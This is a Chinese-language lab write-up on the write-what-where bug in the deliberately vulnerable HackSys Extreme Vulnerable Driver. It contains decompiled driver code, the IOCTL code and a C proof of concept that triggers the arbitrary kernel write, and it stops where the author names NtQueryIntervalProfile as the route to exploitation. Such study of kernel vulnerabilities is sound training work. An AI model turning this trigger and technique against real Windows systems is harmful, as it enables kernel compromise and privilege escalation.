(所有压缩包的密码均为1)
references:
漏洞成因
由于驱动程序未检查由用户模式传过来的地址是否位于用户模式中,可能会导致任意内核地址的任意写(Write-What-Where)
#ifdef SECURE
ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
*(Where) = *(What);
#else
DbgPrint("[+] Triggering Arbitrary Overwrite\n");
*(Where) = *(What);
#endif
可以看到,安全代码使用了函数ProbeForRead对用户传过来的地址进行了检查,而漏洞代码未进行任何检查,直接写入用户指定的内存地址
在IDA中可以看到触发漏洞函数的IO control code是0x22200B
查看漏洞代码:
int __stdcall TriggerArbitraryOverwrite(_WRITE_WHAT_WHERE *UserWriteWhatWhere)
{
unsigned int *What; // edi
unsigned int *Where; // ebx
ProbeForRead(UserWriteWhatWhere, 8u, 4u);
What = UserWriteWhatWhere->What;
Where = UserWriteWhatWhere->Where;
DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", 8);
DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);
DbgPrint("[+] Triggering Arbitrary Overwrite\n");
*Where = *What;
return 0;
}
很明显,传入的是一个结构体,两个字段,一个What,一个Where
typedef struct _UserWriteWhatWhere {
DWORD What;
DWORD Where;
} _WRITE_WHAT_WHERE
触发漏洞
#include <stdio.h>
#include <malloc.h>
#include <Windows.h>
#pragma pack(1)
typedef struct _UserWriteWhatWhere {
DWORD What;
DWORD Where;
} _WRITE_WHAT_WHERE;
int main() {
HANDLE driver_handle = CreateFileW(L"\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 3, 0, 3, 0x80, 0);
if(INVALID_HANDLE_VALUE==driver_handle) {
printf("can not open device, %x\n",GetLastError());
exit(-1);
}
// io control
_WRITE_WHAT_WHERE* www = (_WRITE_WHAT_WHERE*)malloc(sizeof(_WRITE_WHAT_WHERE));
if (0 == www) {
printf("I've never seen malloc falied\n"); exit(-1);
}
// 这两个地址该怎么写我还真不知道 不过可以先随便写两个地址 看看iocode好不好使
int what = 0;
int where = 1;
DWORD whataddresss = reinterpret_cast<DWORD>(&what);
DWORD whereaddresss = reinterpret_cast<DWORD>(&where);
www->What = whataddresss;
www->Where = whereaddresss;
DWORD BytesReturned = 0;
// 触发漏洞 iocontrol调用之后 where的值由1变成了0 说明调用正确
if (DeviceIoControl(driver_handle, 0x22200B, www, sizeof(www), 0, 0, &BytesReturned, 0))
return 1;
return 0;
}
现在我们已经知道怎么抵达漏洞代码了,但是并不清楚如何进行利用
要想正确的利用该漏洞还不引起BSOD,需要用到Windows的一个未公开的函数ZWQueryIntervalProfile
,该函数会调用系统调用nt!NtQueryIntervalProfile
,内核函数存在于ntoskrnl.exe中,我们需要把这个文件搞到ida里看一看